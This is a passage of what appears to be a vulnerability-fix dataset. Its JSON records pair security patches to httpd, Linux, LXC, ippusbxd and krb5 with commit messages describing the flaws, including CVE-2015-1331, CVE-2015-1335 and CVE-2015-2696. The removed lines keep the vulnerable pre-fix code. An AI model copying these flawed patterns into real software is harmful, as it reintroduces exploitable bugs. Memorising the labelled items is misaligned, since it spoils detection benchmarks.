* Determine if the server's current MODULE_MAGIC_NUMBER is at least a", "sections": [{"section": "@@ -482,14 +482,16 @@\n * 20150222.0 (2.5.0-dev) ssl pre_handshake hook now indicates proxy|client\n * 20150222.1 (2.5.0-dev) Add keep_alive_timeout_set to server_rec\n * 20150222.2 (2.5.0-dev) Add response code 418 as per RFC2324/RFC7168\n+ * 20150222.3 (2.5.0-dev) Add ap_some_authn_required, ap_force_authn hook.\n+ * Deprecate broken ap_some_auth_required.\n */\n \n #define MODULE_MAGIC_COOKIE 0x41503235UL /* \"AP25\" */\n \n #ifndef MODULE_MAGIC_NUMBER_MAJOR\n #define MODULE_MAGIC_NUMBER_MAJOR 20150222\n #endif\n-#define MODULE_MAGIC_NUMBER_MINOR 2 /* 0...n */\n+#define MODULE_MAGIC_NUMBER_MINOR 3 /* 0...n */\n \n /**\n * Determine if the server's current MODULE_MAGIC_NUMBER is at least a", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "include/net/sctp/structs.h", "commit_id": "2d45a02d0166caf2627fe91897c6ffc3b19514c4", "commit_message": "sctp: fix ASCONF list handling\n\n->auto_asconf_splist is per namespace and mangled by functions like\nsctp_setsockopt_auto_asconf() which doesn't guarantee any serialization.\n\nAlso, the call to inet_sk_copy_descendant() was backuping\n->auto_asconf_list through the copy but was not honoring\n->do_auto_asconf, which could lead to list corruption if it was\ndifferent between both sockets.\n\nThis commit thus fixes the list handling by using ->addr_wq_lock\nspinlock to protect the list. A special handling is done upon socket\ncreation and destruction for that. Error handlig on sctp_init_sock()\nwill never return an error after having initialized asconf, so\nsctp_destroy_sock() can be called without addrq_wq_lock. The lock now\nwill be take on sctp_close_sock(), before locking the socket, so we\ndon't do it in inverse order compared to sctp_addr_wq_timeout_handler().\n\nInstead of taking the lock on sctp_sock_migrate() for copying and\nrestoring the list values, it's preferred to avoid rewritting it by\nimplementing sctp_copy_descendant().\n\nIssue was found with a test application that kept flipping sysctl\ndefault_auto_asconf on and off, but one could trigger it by issuing\nsimultaneous setsockopt() calls on multiple sockets or by\ncreating/destroying sockets fast enough. This is only triggerable\nlocally.\n\nFixes: 9f7d653b67ae (\"sctp: Add Auto-ASCONF support (core).\")\nReported-by: Ji Jianwen \nSuggested-by: Neil Horman \nSuggested-by: Hannes Frederic Sowa \nAcked-by: Hannes Frederic Sowa \nSigned-off-by: Marcelo Ricardo Leitner \nSigned-off-by: David S. Miller ", "patch": "@@ -223,6 +223,10 @@ struct sctp_sock {\n \tatomic_t pd_mode;\n \t/* Receive to here while partial delivery is in effect. */\n \tstruct sk_buff_head pd_lobby;\n+\n+\t/* These must be the last fields, as they will skipped on copies,\n+\t * like on accept and peeloff operations\n+\t */\n \tstruct list_head auto_asconf_list;\n \tint do_auto_asconf;\n };", "sections": [{"section": "@@ -223,6 +223,10 @@ struct sctp_sock {\n \tatomic_t pd_mode;\n \t/* Receive to here while partial delivery is in effect. */\n \tstruct sk_buff_head pd_lobby;\n+\n+\t/* These must be the last fields, as they will skipped on copies,\n+\t * like on accept and peeloff operations\n+\t */\n \tstruct list_head auto_asconf_list;\n \tint do_auto_asconf;\n };", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "fs/udf/udfdecl.h", "commit_id": "0e5cc9a40ada6046e6bc3bdfcd0c0d7e4b706b14", "commit_message": "udf: Check path length when reading symlink\n\nSymlink reading code does not check whether the resulting path fits into\nthe page provided by the generic code. This isn't as easy as just\nchecking the symlink size because of various encoding conversions we\nperform on path. So we have to check whether there is still enough space\nin the buffer on the fly.\n\nCC: stable@vger.kernel.org\nReported-by: Carl Henrik Lunde \nSigned-off-by: Jan Kara ", "patch": "@@ -211,7 +211,8 @@ udf_get_lb_pblock(struct super_block *sb, struct kernel_lb_addr *loc,\n }\n \n /* unicode.c */\n-extern int udf_get_filename(struct super_block *, uint8_t *, uint8_t *, int);\n+extern int udf_get_filename(struct super_block *, uint8_t *, int, uint8_t *,\n+\t\t\t int);\n extern int udf_put_filename(struct super_block *, const uint8_t *, uint8_t *,\n \t\t\t int);\n extern int udf_build_ustr(struct ustr *, dstring *, int);", "sections": [{"section": "@@ -211,7 +211,8 @@ udf_get_lb_pblock(struct super_block *sb, struct kernel_lb_addr *loc,\n }\n \n /* unicode.c */\n-extern int udf_get_filename(struct super_block *, uint8_t *, uint8_t *, int);\n+extern int udf_get_filename(struct super_block *, uint8_t *, int, uint8_t *,\n+\t\t\t int);\n extern int udf_put_filename(struct super_block *, const uint8_t *, uint8_t *,\n \t\t\t int);\n extern int udf_build_ustr(struct ustr *, dstring *, int);", "related": false}]} +{"owner": "lxc", "repo": "lxc", "language": "C", "file_name": "src/lxc/lxclock.c", "commit_id": "72cf81f6a3404e35028567db2c99a90406e9c6e6", "commit_message": "CVE-2015-1331: lxclock: use /run/lxc/lock rather than /run/lock/lxc\n\nThis prevents an unprivileged user to use LXC to create arbitrary file\non the filesystem.\n\nSigned-off-by: Serge Hallyn \nSigned-off-by: Tyler Hicks \nAcked-by: Stéphane Graber ", "patch": "@@ -103,13 +103,13 @@ static char *lxclock_name(const char *p, const char *n)\n \tchar *rundir;\n \n \t/* lockfile will be:\n-\t * \"/run\" + \"/lock/lxc/$lxcpath/$lxcname + '\\0' if root\n+\t * \"/run\" + \"/lxc/lock/$lxcpath/$lxcname + '\\0' if root\n \t * or\n-\t * $XDG_RUNTIME_DIR + \"/lock/lxc/$lxcpath/$lxcname + '\\0' if non-root\n+\t * $XDG_RUNTIME_DIR + \"/lxc/lock/$lxcpath/$lxcname + '\\0' if non-root\n \t */\n \n-\t/* length of \"/lock/lxc/\" + $lxcpath + \"/\" + \".\" + $lxcname + '\\0' */\n-\tlen = strlen(\"/lock/lxc/\") + strlen(n) + strlen(p) + 3;\n+\t/* length of \"/lxc/lock/\" + $lxcpath + \"/\" + \".\" + $lxcname + '\\0' */\n+\tlen = strlen(\"/lxc/lock/\") + strlen(n) + strlen(p) + 3;\n \trundir = get_rundir();\n \tif (!rundir)\n \t\treturn NULL;\n@@ -120,48 +120,21 @@ static char *lxclock_name(const char *p, const char *n)\n \t\treturn NULL;\n \t}\n \n-\tret = snprintf(dest, len, \"%s/lock/lxc/%s\", rundir, p);\n+\tret = snprintf(dest, len, \"%s/lxc/lock/%s\", rundir, p);\n \tif (ret < 0 || ret >= len) {\n \t\tfree(dest);\n \t\tfree(rundir);\n \t\treturn NULL;\n \t}\n \tret = mkdir_p(dest, 0755);\n \tif (ret < 0) {\n-\t\t/* fall back to \"/tmp/\" + $(id -u) + \"/lxc\" + $lxcpath + \"/\" + \".\" + $lxcname + '\\0'\n-\t\t * * maximum length of $(id -u) is 10 calculated by (log (2 ** (sizeof(uid_t) * 8) - 1) / log 10 + 1)\n-\t\t * * lxcpath always starts with '/'\n-\t\t */\n-\t\tint l2 = 22 + strlen(n) + strlen(p);\n-\t\tif (l2 > len) {\n-\t\t\tchar *d;\n-\t\t\td = realloc(dest, l2);\n-\t\t\tif (!d) {\n-\t\t\t\tfree(dest);\n-\t\t\t\tfree(rundir);\n-\t\t\t\treturn NULL;\n-\t\t\t}\n-\t\t\tlen = l2;\n-\t\t\tdest = d;\n-\t\t}\n-\t\tret = snprintf(dest, len, \"/tmp/%d/lxc%s\", geteuid(), p);\n-\t\tif (ret < 0 || ret >= len) {\n-\t\t\tfree(dest);\n-\t\t\tfree(rundir);\n-\t\t\treturn NULL;\n-\t\t}\n-\t\tret = mkdir_p(dest, 0755);\n-\t\tif (ret < 0) {\n-\t\t\tfree(dest);\n-\t\t\tfree(rundir);\n-\t\t\treturn NULL;\n-\t\t}\n-\t\tret = snprintf(dest, len, \"/tmp/%d/lxc%s/.%s\", geteuid(), p, n);\n-\t} else\n-\t\tret = snprintf(dest, len, \"%s/lock/lxc/%s/.%s\", rundir, p, n);\n+\t\tfree(dest);\n+\t\tfree(rundir);\n+\t\treturn NULL;\n+\t}\n \n+\tret = snprintf(dest, len, \"%s/lxc/lock/%s/.%s\", rundir, p, n);\n \tfree(rundir);\n-\n \tif (ret < 0 || ret >= len) {\n \t\tfree(dest);\n \t\treturn NULL;", "sections": [{"section": "@@ -103,13 +103,13 @@ static char *lxclock_name(const char *p, const char *n)\n \tchar *rundir;\n \n \t/* lockfile will be:\n-\t * \"/run\" + \"/lock/lxc/$lxcpath/$lxcname + '\\0' if root\n+\t * \"/run\" + \"/lxc/lock/$lxcpath/$lxcname + '\\0' if root\n \t * or\n-\t * $XDG_RUNTIME_DIR + \"/lock/lxc/$lxcpath/$lxcname + '\\0' if non-root\n+\t * $XDG_RUNTIME_DIR + \"/lxc/lock/$lxcpath/$lxcname + '\\0' if non-root\n \t */\n \n-\t/* length of \"/lock/lxc/\" + $lxcpath + \"/\" + \".\" + $lxcname + '\\0' */\n-\tlen = strlen(\"/lock/lxc/\") + strlen(n) + strlen(p) + 3;\n+\t/* length of \"/lxc/lock/\" + $lxcpath + \"/\" + \".\" + $lxcname + '\\0' */\n+\tlen = strlen(\"/lxc/lock/\") + strlen(n) + strlen(p) + 3;\n \trundir = get_rundir();\n \tif (!rundir)\n \t\treturn NULL;\n", "related": true}, {"section": "@@ -120,48 +120,21 @@ static char *lxclock_name(const char *p, const char *n)\n \t\treturn NULL;\n \t}\n \n-\tret = snprintf(dest, len, \"%s/lock/lxc/%s\", rundir, p);\n+\tret = snprintf(dest, len, \"%s/lxc/lock/%s\", rundir, p);\n \tif (ret < 0 || ret >= len) {\n \t\tfree(dest);\n \t\tfree(rundir);\n \t\treturn NULL;\n \t}\n \tret = mkdir_p(dest, 0755);\n \tif (ret < 0) {\n-\t\t/* fall back to \"/tmp/\" + $(id -u) + \"/lxc\" + $lxcpath + \"/\" + \".\" + $lxcname + '\\0'\n-\t\t * * maximum length of $(id -u) is 10 calculated by (log (2 ** (sizeof(uid_t) * 8) - 1) / log 10 + 1)\n-\t\t * * lxcpath always starts with '/'\n-\t\t */\n-\t\tint l2 = 22 + strlen(n) + strlen(p);\n-\t\tif (l2 > len) {\n-\t\t\tchar *d;\n-\t\t\td = realloc(dest, l2);\n-\t\t\tif (!d) {\n-\t\t\t\tfree(dest);\n-\t\t\t\tfree(rundir);\n-\t\t\t\treturn NULL;\n-\t\t\t}\n-\t\t\tlen = l2;\n-\t\t\tdest = d;\n-\t\t}\n-\t\tret = snprintf(dest, len, \"/tmp/%d/lxc%s\", geteuid(), p);\n-\t\tif (ret < 0 || ret >= len) {\n-\t\t\tfree(dest);\n-\t\t\tfree(rundir);\n-\t\t\treturn NULL;\n-\t\t}\n-\t\tret = mkdir_p(dest, 0755);\n-\t\tif (ret < 0) {\n-\t\t\tfree(dest);\n-\t\t\tfree(rundir);\n-\t\t\treturn NULL;\n-\t\t}\n-\t\tret = snprintf(dest, len, \"/tmp/%d/lxc%s/.%s\", geteuid(), p, n);\n-\t} else\n-\t\tret = snprintf(dest, len, \"%s/lock/lxc/%s/.%s\", rundir, p, n);\n+\t\tfree(dest);\n+\t\tfree(rundir);\n+\t\treturn NULL;\n+\t}\n \n+\tret = snprintf(dest, len, \"%s/lxc/lock/%s/.%s\", rundir, p, n);\n \tfree(rundir);\n-\n \tif (ret < 0 || ret >= len) {\n \t\tfree(dest);\n \t\treturn NULL;", "related": true}]} +{"owner": "tillkamppeter", "repo": "ippusbxd", "language": "C", "file_name": "src/tcp.h", "commit_id": "46844402bca7a38fc224483ba6f0a93c4613203f", "commit_message": "SECURITY FIX: Actually restrict the access to the printer to localhost\n\nBefore, any machine in any network connected by any of the interfaces (as\nlisted by \"ifconfig\") could access to an IPP-over-USB printer on the assigned\nport, allowing users on remote machines to print and to access the web\nconfiguration interface of a IPP-over-USB printer in contrary to conventional\nUSB printers which are only accessible locally.", "patch": "@@ -40,10 +40,12 @@ struct tcp_conn_t {\n };\n \n struct tcp_sock_t *tcp_open(uint16_t);\n+struct tcp_sock_t *tcp6_open(uint16_t);\n void tcp_close(struct tcp_sock_t *);\n uint16_t tcp_port_number_get(struct tcp_sock_t *);\n \n-struct tcp_conn_t *tcp_conn_accept(struct tcp_sock_t *);\n+struct tcp_conn_t *tcp_conn_select(struct tcp_sock_t *sock,\n+\t\t\t\t struct tcp_sock_t *sock6);\n void tcp_conn_close(struct tcp_conn_t *);\n \n struct http_packet_t *tcp_packet_get(struct tcp_conn_t *,", "sections": [{"section": "@@ -40,10 +40,12 @@ struct tcp_conn_t {\n };\n \n struct tcp_sock_t *tcp_open(uint16_t);\n+struct tcp_sock_t *tcp6_open(uint16_t);\n void tcp_close(struct tcp_sock_t *);\n uint16_t tcp_port_number_get(struct tcp_sock_t *);\n \n-struct tcp_conn_t *tcp_conn_accept(struct tcp_sock_t *);\n+struct tcp_conn_t *tcp_conn_select(struct tcp_sock_t *sock,\n+\t\t\t\t struct tcp_sock_t *sock6);\n void tcp_conn_close(struct tcp_conn_t *);\n \n struct http_packet_t *tcp_packet_get(struct tcp_conn_t *,", "related": false}]} +{"owner": "lxc", "repo": "lxc", "language": "C", "file_name": "src/lxc/cgfs.c", "commit_id": "592fd47a6245508b79fe6ac819fe6d3b2c1289be", "commit_message": "CVE-2015-1335: Protect container mounts against symlinks\n\nWhen a container starts up, lxc sets up the container's inital fstree\nby doing a bunch of mounting, guided by the container configuration\nfile. The container config is owned by the admin or user on the host,\nso we do not try to guard against bad entries. However, since the\nmount target is in the container, it's possible that the container admin\ncould divert the mount with symbolic links. This could bypass proper\ncontainer startup (i.e. confinement of a root-owned container by the\nrestrictive apparmor policy, by diverting the required write to\n/proc/self/attr/current), or bypass the (path-based) apparmor policy\nby diverting, say, /proc to /mnt in the container.\n\nTo prevent this,\n\n1. do not allow mounts to paths containing symbolic links\n\n2. do not allow bind mounts from relative paths containing symbolic\nlinks.\n\nDetails:\n\nDefine safe_mount which ensures that the container has not inserted any\nsymbolic links into any mount targets for mounts to be done during\ncontainer setup.\n\nThe host's mount path may contain symbolic links. As it is under the\ncontrol of the administrator, that's ok. So safe_mount begins the check\nfor symbolic links after the rootfs->mount, by opening that directory.\n\nIt opens each directory along the path using openat() relative to the\nparent directory using O_NOFOLLOW. When the target is reached, it\nmounts onto /proc/self/fd/.\n\nUse safe_mount() in mount_entry(), when mounting container proc,\nand when needed. In particular, safe_mount() need not be used in\nany case where:\n\n1. the mount is done in the container's namespace\n2. the mount is for the container's rootfs\n3. the mount is relative to a tmpfs or proc/sysfs which we have\n just safe_mount()ed ourselves\n\nSince we were using proc/net as a temporary placeholder for /proc/sys/net\nduring container startup, and proc/net is a symbolic link, use proc/tty\ninstead.\n\nUpdate the lxc.container.conf manpage with details about the new\nrestrictions.\n\nFinally, add a testcase to test some symbolic link possibilities.\n\nReported-by: Roman Fiedler\nSigned-off-by: Serge Hallyn \nAcked-by: Stéphane Graber ", "patch": "@@ -1363,7 +1363,10 @@ static bool cgroupfs_mount_cgroup(void *hdata, const char *root, int type)\n \tif (!path)\n \t\treturn false;\n \tsnprintf(path, bufsz, \"%s/sys/fs/cgroup\", root);\n-\tr = mount(\"cgroup_root\", path, \"tmpfs\", MS_NOSUID|MS_NODEV|MS_NOEXEC|MS_RELATIME, \"size=10240k,mode=755\");\n+\tr = safe_mount(\"cgroup_root\", path, \"tmpfs\",\n+\t\t\tMS_NOSUID|MS_NODEV|MS_NOEXEC|MS_RELATIME,\n+\t\t\t\"size=10240k,mode=755\",\n+\t\t\troot);\n \tif (r < 0) {\n \t\tSYSERROR(\"could not mount tmpfs to /sys/fs/cgroup in the container\");\n \t\treturn false;", "sections": [{"section": "@@ -1363,7 +1363,10 @@ static bool cgroupfs_mount_cgroup(void *hdata, const char *root, int type)\n \tif (!path)\n \t\treturn false;\n \tsnprintf(path, bufsz, \"%s/sys/fs/cgroup\", root);\n-\tr = mount(\"cgroup_root\", path, \"tmpfs\", MS_NOSUID|MS_NODEV|MS_NOEXEC|MS_RELATIME, \"size=10240k,mode=755\");\n+\tr = safe_mount(\"cgroup_root\", path, \"tmpfs\",\n+\t\t\tMS_NOSUID|MS_NODEV|MS_NOEXEC|MS_RELATIME,\n+\t\t\t\"size=10240k,mode=755\",\n+\t\t\troot);\n \tif (r < 0) {\n \t\tSYSERROR(\"could not mount tmpfs to /sys/fs/cgroup in the container\");\n \t\treturn false;", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "fs/namei.c", "commit_id": "397d425dc26da728396e66d392d5dcb8dac30c37", "commit_message": "vfs: Test for and handle paths that are unreachable from their mnt_root\n\nIn rare cases a directory can be renamed out from under a bind mount.\nIn those cases without special handling it becomes possible to walk up\nthe directory tree to the root dentry of the filesystem and down\nfrom the root dentry to every other file or directory on the filesystem.\n\nLike division by zero .. from an unconnected path can not be given\na useful semantic as there is no predicting at which path component\nthe code will realize it is unconnected. We certainly can not match\nthe current behavior as the current behavior is a security hole.\n\nTherefore when encounting .. when following an unconnected path\nreturn -ENOENT.\n\n- Add a function path_connected to verify path->dentry is reachable\n from path->mnt.mnt_root. AKA to validate that rename did not do\n something nasty to the bind mount.\n\n To avoid races path_connected must be called after following a path\n component to it's next path component.\n\nSigned-off-by: \"Eric W. Biederman\" \nSigned-off-by: Al Viro ", "patch": "@@ -560,6 +560,24 @@ static int __nd_alloc_stack(struct nameidata *nd)\n \treturn 0;\n }\n \n+/**\n+ * path_connected - Verify that a path->dentry is below path->mnt.mnt_root\n+ * @path: nameidate to verify\n+ *\n+ * Rename can sometimes move a file or directory outside of a bind\n+ * mount, path_connected allows those cases to be detected.\n+ */\n+static bool path_connected(const struct path *path)\n+{\n+\tstruct vfsmount *mnt = path->mnt;\n+\n+\t/* Only bind mounts can have disconnected paths */\n+\tif (mnt->mnt_root == mnt->mnt_sb->s_root)\n+\t\treturn true;\n+\n+\treturn is_subdir(path->dentry, mnt->mnt_root);\n+}\n+\n static inline int nd_alloc_stack(struct nameidata *nd)\n {\n \tif (likely(nd->depth != EMBEDDED_LEVELS))\n@@ -1296,6 +1314,8 @@ static int follow_dotdot_rcu(struct nameidata *nd)\n \t\t\t\treturn -ECHILD;\n \t\t\tnd->path.dentry = parent;\n \t\t\tnd->seq = seq;\n+\t\t\tif (unlikely(!path_connected(&nd->path)))\n+\t\t\t\treturn -ENOENT;\n \t\t\tbreak;\n \t\t} else {\n \t\t\tstruct mount *mnt = real_mount(nd->path.mnt);\n@@ -1396,7 +1416,7 @@ static void follow_mount(struct path *path)\n \t}\n }\n \n-static void follow_dotdot(struct nameidata *nd)\n+static int follow_dotdot(struct nameidata *nd)\n {\n \tif (!nd->root.mnt)\n \t\tset_root(nd);\n@@ -1412,13 +1432,16 @@ static void follow_dotdot(struct nameidata *nd)\n \t\t\t/* rare case of legitimate dget_parent()... */\n \t\t\tnd->path.dentry = dget_parent(nd->path.dentry);\n \t\t\tdput(old);\n+\t\t\tif (unlikely(!path_connected(&nd->path)))\n+\t\t\t\treturn -ENOENT;\n \t\t\tbreak;\n \t\t}\n \t\tif (!follow_up(&nd->path))\n \t\t\tbreak;\n \t}\n \tfollow_mount(&nd->path);\n \tnd->inode = nd->path.dentry->d_inode;\n+\treturn 0;\n }\n \n /*\n@@ -1634,7 +1657,7 @@ static inline int handle_dots(struct nameidata *nd, int type)\n \t\tif (nd->flags & LOOKUP_RCU) {\n \t\t\treturn follow_dotdot_rcu(nd);\n \t\t} else\n-\t\t\tfollow_dotdot(nd);\n+\t\t\treturn follow_dotdot(nd);\n \t}\n \treturn 0;\n }", "sections": [{"section": "@@ -560,6 +560,24 @@ static int __nd_alloc_stack(struct nameidata *nd)\n \treturn 0;\n }\n \n+/**\n+ * path_connected - Verify that a path->dentry is below path->mnt.mnt_root\n+ * @path: nameidate to verify\n+ *\n+ * Rename can sometimes move a file or directory outside of a bind\n+ * mount, path_connected allows those cases to be detected.\n+ */\n+static bool path_connected(const struct path *path)\n+{\n+\tstruct vfsmount *mnt = path->mnt;\n+\n+\t/* Only bind mounts can have disconnected paths */\n+\tif (mnt->mnt_root == mnt->mnt_sb->s_root)\n+\t\treturn true;\n+\n+\treturn is_subdir(path->dentry, mnt->mnt_root);\n+}\n+\n static inline int nd_alloc_stack(struct nameidata *nd)\n {\n \tif (likely(nd->depth != EMBEDDED_LEVELS))\n", "related": false}, {"section": "@@ -1296,6 +1314,8 @@ static int follow_dotdot_rcu(struct nameidata *nd)\n \t\t\t\treturn -ECHILD;\n \t\t\tnd->path.dentry = parent;\n \t\t\tnd->seq = seq;\n+\t\t\tif (unlikely(!path_connected(&nd->path)))\n+\t\t\t\treturn -ENOENT;\n \t\t\tbreak;\n \t\t} else {\n \t\t\tstruct mount *mnt = real_mount(nd->path.mnt);\n", "related": false}, {"section": "@@ -1396,7 +1416,7 @@ static void follow_mount(struct path *path)\n \t}\n }\n \n-static void follow_dotdot(struct nameidata *nd)\n+static int follow_dotdot(struct nameidata *nd)\n {\n \tif (!nd->root.mnt)\n \t\tset_root(nd);\n", "related": false}, {"section": "@@ -1412,13 +1432,16 @@ static void follow_dotdot(struct nameidata *nd)\n \t\t\t/* rare case of legitimate dget_parent()... */\n \t\t\tnd->path.dentry = dget_parent(nd->path.dentry);\n \t\t\tdput(old);\n+\t\t\tif (unlikely(!path_connected(&nd->path)))\n+\t\t\t\treturn -ENOENT;\n \t\t\tbreak;\n \t\t}\n \t\tif (!follow_up(&nd->path))\n \t\t\tbreak;\n \t}\n \tfollow_mount(&nd->path);\n \tnd->inode = nd->path.dentry->d_inode;\n+\treturn 0;\n }\n \n /*\n", "related": false}, {"section": "@@ -1634,7 +1657,7 @@ static inline int handle_dots(struct nameidata *nd, int type)\n \t\tif (nd->flags & LOOKUP_RCU) {\n \t\t\treturn follow_dotdot_rcu(nd);\n \t\t} else\n-\t\t\tfollow_dotdot(nd);\n+\t\t\treturn follow_dotdot(nd);\n \t}\n \treturn 0;\n }", "related": false}]} +{"owner": "krb5", "repo": "krb5", "language": "C", "file_name": "src/lib/gssapi/krb5/gssapiP_krb5.h", "commit_id": "e04f0283516e80d2f93366e0d479d13c9b5c8c2a", "commit_message": "Fix IAKERB context aliasing bugs [CVE-2015-2696]\n\nThe IAKERB mechanism currently replaces its context handle with the\nkrb5 mechanism handle upon establishment, under the assumption that\nmost GSS functions are only called after context establishment. This\nassumption is incorrect, and can lead to aliasing violations for some\nprograms. Maintain the IAKERB context structure after context\nestablishment and add new IAKERB entry points to refer to it with that\ntype. Add initiate and established flags to the IAKERB context\nstructure for use in gss_inquire_context() prior to context\nestablishment.\n\nCVE-2015-2696:\n\nIn MIT krb5 1.9 and later, applications which call\ngss_inquire_context() on a partially-established IAKERB context can\ncause the GSS-API library to read from a pointer using the wrong type,\ngenerally causing a process crash. Java server applications using the\nnative JGSS provider are vulnerable to this bug. A carefully crafted\nIAKERB packet might allow the gss_inquire_context() call to succeed\nwith attacker-determined results, but applications should not make\naccess control decisions based on gss_inquire_context() results prior\nto context establishment.\n\n CVSSv2 Vector: AV:N/AC:M/Au:N/C:N/I:N/A:C/E:POC/RL:OF/RC:C\n\n[ghudson@mit.edu: several bugfixes, style changes, and edge-case\nbehavior changes; commit message and CVE description]\n\nticket: 8244\ntarget_version: 1.14\ntags: pullup", "patch": "@@ -621,6 +621,21 @@ OM_uint32 KRB5_CALLCONV krb5_gss_accept_sec_context_ext\n );\n #endif /* LEAN_CLIENT */\n \n+OM_uint32 KRB5_CALLCONV krb5_gss_inquire_sec_context_by_oid\n+(OM_uint32*, /* minor_status */\n+ const gss_ctx_id_t,\n+ /* context_handle */\n+ const gss_OID, /* desired_object */\n+ gss_buffer_set_t* /* data_set */\n+);\n+\n+OM_uint32 KRB5_CALLCONV krb5_gss_set_sec_context_option\n+(OM_uint32*, /* minor_status */\n+ gss_ctx_id_t*, /* context_handle */\n+ const gss_OID, /* desired_object */\n+ const gss_buffer_t/* value */\n+);\n+\n OM_uint32 KRB5_CALLCONV krb5_gss_process_context_token\n (OM_uint32*, /* minor_status */\n gss_ctx_id_t, /* context_handle */\n@@ -1302,6 +1317,105 @@ OM_uint32 KRB5_CALLCONV\n krb5_gss_import_cred(OM_uint32 *minor_status, gss_buffer_t token,\n gss_cred_id_t *cred_handle);\n \n+OM_uint32 KRB5_CALLCONV\n+iakerb_gss_process_context_token(OM_uint32 *minor_status,\n+ const gss_ctx_id_t context_handle,\n+ const gss_buffer_t token_buffer);\n+\n+OM_uint32 KRB5_CALLCONV\n+iakerb_gss_context_time(OM_uint32 *minor_status, gss_ctx_id_t context_handle,\n+ OM_uint32 *time_rec);\n+\n+OM_uint32 KRB5_CALLCONV\n+iakerb_gss_inquire_context(OM_uint32 *minor_status,\n+ gss_ctx_id_t context_handle, gss_name_t *src_name,\n+ gss_name_t *targ_name, OM_uint32 *lifetime_rec,\n+ gss_OID *mech_type, OM_uint32 *ctx_flags,\n+ int *locally_initiated, int *opened);\n+\n+OM_uint32 KRB5_CALLCONV\n+iakerb_gss_get_mic(OM_uint32 *minor_status, gss_ctx_id_t context_handle,\n+ gss_qop_t qop_req, gss_buffer_t message_buffer,\n+ gss_buffer_t message_token);\n+\n+OM_uint32 KRB5_CALLCONV\n+iakerb_gss_get_mic_iov(OM_uint32 *minor_status, gss_ctx_id_t context_handle,\n+ gss_qop_t qop_req, gss_iov_buffer_desc *iov,\n+ int iov_count);\n+\n+OM_uint32 KRB5_CALLCONV\n+iakerb_gss_get_mic_iov_length(OM_uint32 *minor_status,\n+ gss_ctx_id_t context_handle, gss_qop_t qop_req,\n+ gss_iov_buffer_desc *iov, int iov_count);\n+\n+OM_uint32 KRB5_CALLCONV\n+iakerb_gss_verify_mic(OM_uint32 *minor_status, gss_ctx_id_t context_handle,\n+ gss_buffer_t msg_buffer, gss_buffer_t token_buffer,\n+ gss_qop_t *qop_state);\n+\n+OM_uint32 KRB5_CALLCONV\n+iakerb_gss_verify_mic_iov(OM_uint32 *minor_status, gss_ctx_id_t context_handle,\n+ gss_qop_t *qop_state, gss_iov_buffer_desc *iov,\n+ int iov_count);\n+\n+OM_uint32 KRB5_CALLCONV\n+iakerb_gss_wrap(OM_uint32 *minor_status, gss_ctx_id_t context_handle,\n+ int conf_req_flag, gss_qop_t qop_req,\n+ gss_buffer_t input_message_buffer, int *conf_state,\n+ gss_buffer_t output_message_buffer);\n+\n+OM_uint32 KRB5_CALLCONV\n+iakerb_gss_wrap_iov(OM_uint32 *minor_status, gss_ctx_id_t context_handle,\n+ int conf_req_flag, gss_qop_t qop_req, int *conf_state,\n+ gss_iov_buffer_desc *iov, int iov_count);\n+\n+OM_uint32 KRB5_CALLCONV\n+iakerb_gss_wrap_iov_length(OM_uint32 *minor_status,\n+ gss_ctx_id_t context_handle, int conf_req_flag,\n+ gss_qop_t qop_req, int *conf_state,\n+ gss_iov_buffer_desc *iov, int iov_count);\n+\n+OM_uint32 KRB5_CALLCONV\n+iakerb_gss_unwrap(OM_uint32 *minor_status, gss_ctx_id_t context_handle,\n+ gss_buffer_t input_message_buffer,\n+ gss_buffer_t output_message_buffer, int *conf_state,\n+ gss_qop_t *qop_state);\n+\n+OM_uint32 KRB5_CALLCONV\n+iakerb_gss_unwrap_iov(OM_uint32 *minor_status, gss_ctx_id_t context_handle,\n+ int *conf_state, gss_qop_t *qop_state,\n+ gss_iov_buffer_desc *iov, int iov_count);\n+\n+OM_uint32 KRB5_CALLCONV\n+iakerb_gss_wrap_size_limit(OM_uint32 *minor_status,\n+ gss_ctx_id_t context_handle, int conf_req_flag,\n+ gss_qop_t qop_req, OM_uint32 req_output_size,\n+ OM_uint32 *max_input_size);\n+\n+#ifndef LEAN_CLIENT\n+OM_uint32 KRB5_CALLCONV\n+iakerb_gss_export_sec_context(OM_uint32 *minor_status,\n+ gss_ctx_id_t *context_handle,\n+ gss_buffer_t interprocess_token);\n+#endif /* LEAN_CLIENT */\n+\n+OM_uint32 KRB5_CALLCONV\n+iakerb_gss_inquire_sec_context_by_oid(OM_uint32 *minor_status,\n+ const gss_ctx_id_t context_handle,\n+ const gss_OID desired_object,\n+ gss_buffer_set_t *data_set);\n+\n+OM_uint32 KRB5_CALLCONV\n+iakerb_gss_set_sec_context_option(OM_uint32 *minor_status,\n+ gss_ctx_id_t *context_handle,\n+ const gss_OID desired_object,\n+ const gss_buffer_t value);\n+\n+OM_uint32 KRB5_CALLCONV\n+iakerb_gss_pseudo_random(OM_uint32 *minor_status, gss_ctx_id_t context_handle,\n+ int prf_key, const gss_buffer_t prf_in,\n+ ssize_t desired_output_len, gss_buffer_t prf_out);\n+\n /* Magic string to identify exported krb5 GSS credentials. Increment this if\n * the format changes. */\n #define CRED_EXPORT_MAGIC \"K5C1\"", "sections": [{"section": "@@ -621,6 +621,21 @@ OM_uint32 KRB5_CALLCONV krb5_gss_accept_sec_context_ext\n );\n #endif /* LEAN_CLIENT */\n \n+OM_uint32 KRB5_CALLCONV krb5_gss_inquire_sec_context_by_oid\n+(OM_uint32*, /* minor_status */\n+ const gss_ctx_id_t,\n+ /* context_handle */\n+ const gss_OID, /* desired_object */\n+ gss_buffer_set_t* /* data_set */\n+);\n+\n+OM_uint32 KRB5_CALLCONV krb5_gss_set_sec_context_option\n+(OM_uint32*, /* minor_status */\n+ gss_ctx_id_t*, /* context_handle */\n+ const gss_OID, /* desired_object */\n+ const gss_buffer_t/* value */\n+);\n+\n OM_uint32 KRB5_CALLCONV krb5_gss_process_context_token\n (OM_uint32*, /* minor_status */\n gss_ctx_id_t, /* context_handle */\n", "related": false}, {"section": "@@ -1302,6 +1317,105 @@ OM_uint32 KRB5_CALLCONV\n krb5_gss_import_cred(OM_uint32 *minor_status, gss_buffer_t token,\n gss_cred_id_t *cred_handle);\n \n+OM_uint32 KRB5_CALLCONV\n+iakerb_gss_process_context_token(OM_uint32 *minor_status,\n+ const gss_ctx_id_t context_handle,\n+ const gss_buffer_t 